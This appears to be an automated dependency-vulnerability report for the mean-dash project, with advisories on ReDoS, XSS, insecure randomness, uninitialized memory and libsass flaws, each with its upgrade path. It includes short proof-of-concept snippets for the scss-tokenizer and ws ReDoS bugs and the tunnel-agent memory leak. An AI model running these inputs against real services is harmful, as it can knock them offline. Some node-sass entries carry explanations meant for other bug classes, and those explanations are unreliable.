Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › sass-graph@2.2.5 › scss-tokenizer@0.2.3Remediation: Upgrade to node-sass@7.0.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the loadAnnotation() function, due to the usage of insecure regex.
PoC
var scss = require("scss-tokenizer")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
scss.tokenize(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade scss-tokenizer to version 0.4.3 or higher.
References
medium severity
- Vulnerable module: socket.io
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7Remediation: Upgrade to karma@5.0.8.
Overview
socket.io is a node.js realtime framework server.
Affected versions of this package are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.
Remediation
Upgrade socket.io to version 2.4.0 or higher.
References
medium severity
- Vulnerable module: uglify-js
- Introduced through: webpack@2.7.0 and webpack-stream@3.2.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › uglify-js@2.8.29Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › uglify-js@2.7.5Remediation: Upgrade to webpack-stream@7.0.0.
Overview
uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade uglify-js to version 3.14.3 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of the package use the cryptographically insecure Math.random() which can produce predictable values and should not be used in security-sensitive context.
Details
Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.
There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.
You can read more about node's insecure Math.random() in Mike Malone's post.
Remediation
Upgrade ws to version 1.1.2 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@5.0.8.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@5.0.8.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.
##PoC
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.
References
medium severity
- Vulnerable module: tunnel-agent
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › tunnel-agent@0.4.3Remediation: Upgrade to coveralls@3.0.0.
Overview
tunnel-agent is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.
A possible memory disclosure vulnerability exists when a value of type number is used to set the proxy.auth option of a request request and results in a possible uninitialized memory exposures in the request body.
This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.
Details
Constructing a Buffer class with integer N creates a Buffer of length N with raw (not "zero-ed") memory.
In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":
// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');
tunnel-agent's request construction uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed flaw in OpenSSL.
Proof of concept by ChALkeR
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:"127.0.0.1",
port:8080,
auth:80
}
});
You can read more about the insecure Buffer behavior on our blog.
Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.
Remediation
Upgrade tunnel-agent to version 0.6.0 or higher.
Note This is vulnerable only for Node <=4
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.8.0.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). The regex-based input HTML replacement may turn sanitized code into unsanitized one.
Wrapping <option> elements in <select> ones changes parsing behavior, leading to possibly unsanitizing code.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade angular to version 1.8.0 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash to version 4.17.11 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to NULL Pointer Dereference via Sass::Parser::parseCompoundSelectorin parser_selectors.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-bounds Read via Sass::weaveParents in ast_sel_weave.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Uncontrolled Recursion via Sass::Eval::operator()(Sass::Binary_Expression*) in eval.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for angular.
References
low severity
- Vulnerable module: braces
